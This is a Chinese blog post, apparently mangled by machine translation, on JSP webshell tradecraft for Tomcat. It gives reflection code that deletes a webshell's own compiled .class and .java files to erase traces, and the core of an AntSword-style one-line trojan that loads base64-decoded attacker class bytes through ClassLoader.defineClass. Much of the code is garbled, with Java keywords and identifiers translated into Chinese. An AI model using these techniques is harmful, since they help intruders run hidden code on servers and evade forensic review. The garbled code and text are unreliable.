发布于2022年11月8日3年前 0x00 前言 我们知道,当我们访问jsp文件时,Java环境会先将jsp文件转换成。班级字节码文件,再由Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)虚拟机进行加载,这导致了Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)服务器上会生成对应名称的。班级字节码文件。对于webshell,这会留下痕迹。 为了实现自删除。班级字节码文件,我们可以通过反射获得。班级字节码文件的路径,再进行删除。本文将以津布拉环境为例,结合AntSword-JSP-Template,分析利用思路。 0x01 简介 本文将要介绍以下内容: 通过反射实现webshell编译文件的自删除 通过反射实现蚂蚁剑-JSP-模板 0x02 通过反射实现webshell编译文件的自删除 根据上篇文章《Java利用技巧——通过反射修改属性》 的内容,我们按照映射请求-_范围-_ servlet-RCT XT-JSP,通过多次反射最终能够获得JspServletWrapper实例 查看JspServletWrapper类中的成员,JSP-value-ctxt-servletJavaFileName保存Java。语言(一种计算机语言,尤用于创建网站)编译文件的路径,JSP-value-ctxt-class文件名保存。班级编译文件的路径,示例如下图 为了只筛选出当前jsp,可以通过请求类的getServletPath()方法获得当前Servlet,如下图 从ctxt对象获取servletJavaFileName可以调用JspCompilationContext类的getServletJavaFileName()方法,如下图 从ctxt对象获取类别文件名可以调用JspCompilationContext类的getClassFileName()方法,如下图 综上,由此我们可以得出通过反射获取编译文件路径的实现代码如下: %@个页面导入='java.lang.reflect.Field' % %@个页面导入=' Java。util。并发。并发哈希表' % %@个页面导入=' Java . util . * ' ' % %@个页面导入=' org。阿帕奇。贾斯帕。servlet。JSP servlet包装器' % %@个页面导入=' org。阿帕奇。贾斯帕。JSP编译上下文' % % 字段f=request.getClass().getDeclaredField(' _ scope '); f。设置可访问性(true); Object obj1=f.get(请求); f=obj1.getClass().getDeclaredField(' _ servlet '); f。设置可访问性(true); object obj 2=f . get(obj 1); f=obj2.getClass().getSuperclass().getDeclaredField(' rctxt '); f。设置可访问性(true); object obj 3=f . get(obj 2); f=obj3.getClass().getDeclaredField(' JSP '); f。设置可访问性(true); 并发hashmap obj 4=(并发hashmap)f . get(obj 3); jspservetwrapper jsw=(jspservetwrapper)obj 4。获取(请求。getservletpath()); JspCompilationContext ctxt=jsw。getjspenginecontext(); 出去。println(ctxt。getservletjavafilename()); 出去。println(ctxt。getclass filename()); % 删除编译文件的代码如下: %@个页面导入='java.lang.reflect.Field' % %@个页面导入=' Java。util。并发。并发哈希表' % %@个页面导入=' Java . util . * ' ' % %@个页面导入=' org。阿帕奇。贾斯帕。servlet。JSP servlet包装器' % %@个页面导入=' org。阿帕奇。贾斯帕。JSP编译上下文' % %@个页面导入='java.io.File' % % 字段f=request.getClass().getDeclaredField(' _ scope '); f。设置可访问性(true); Object obj1=f.get(请求); f=obj1.getClass().getDeclaredField(' _ servlet '); f。设置可访问性(true); object obj 2=f . get(obj 1); f=obj2.getClass().getSuperclass().getDeclaredField(' rctxt '); f。设置可访问性(true); object obj 3=f . get(obj 2); f=obj3.getClass().getDeclaredField(' JSP '); f。设置可访问性(true); 并发hashmap obj 4=(并发hashmap)f . get(obj 3); jspservetwrapper jsw=(jspservetwrapper)obj 4。获取(请求。getservletpath()); JspCompilationContext ctxt=jsw。getjspenginecontext(); 文件目标文件; 目标文件=新文件(ctxt。getclass filename()); 目标文件。delete(); 目标文件=新文件(ctxt。getservletjavafilename()); 目标文件。delete(); % 0x03 通过反射实现AntSword-JSP-Template rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 介绍了Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)一句话木马的实现方法,AntSword-JSP-Template也采用了相同的方式 在测试AntSword-JSP-Template的过程中,我发现会多一个编译好的文件,比如test.jsp。访问后生成的编译文件是test_jsp.class和test_jsp.java如果使用AntSword-JSP-Template,会额外生成一个编译文件test_jsp$U.class。 Rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》中提到: “一般情况下,Java不提供直接解析类字节数组的接口。但是Classloader实现了一个受保护的defineClass方法,可以直接将byte[]转换成Class。 因为这个方法是受保护的,所以我们不能直接对外调用。当然,我们可以通过反射来修改受保护的属性。不过我们选择一个更方便的方法,就是直接自定义一个类来继承classloader,然后在其子类中调用父类的defineClass方法。" 这里,我打算通过反射修改保护属性,并调用ClassLoader类的defineClass()方法。 在ClassLoader类中,defineClass()方法有多个重载,如下图所示 在此选择定义类(byte [] b,int off,int len)。 Rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》中还提到: “要想在equals中成功调用对象Request、Response和Seesion,还需要考虑另一个问题,即ClassLoader的问题。JVM通过类加载器类路径识别类的唯一性。我们通过调用自定义类加载器定义的类与Request、Response和Seesion类的类加载器不同,因此在equals中访问这些类时会出现Java . lang . classnotfoundexception异常。 解决方案也是复制ClassLoader的以下构造函数,并传递一个指定的ClassLoader实例: ClassLoader loader=新的类加载器(getClass()。get class loader()){ }; 最后,通过反射得到了实现AntSword-JSP-Template的核心代码: 方法d=class loader . class . getdeclaredmethod(' define class ',byte[]。class,int.class,int . class); d . set accessible(true); ClassLoader loader=新的类加载器(getClass()。get class loader){ }; Class result=(Class)d . invoke(loader,base64Decode(data),0,base64Decode(data)。长度); result.newInstance()。equals(pageContext); 通过反射访问AntSword-JSP-Template的test.jsp后,额外编译的文件是test _ JSP $ 1.class 0x04 小结 介绍了通过反射实现webshell编译文件和AntSword-JSP-Template的自删除,记录了关于反射的学习心得。 留下回复
创建帐户或登录后发表意见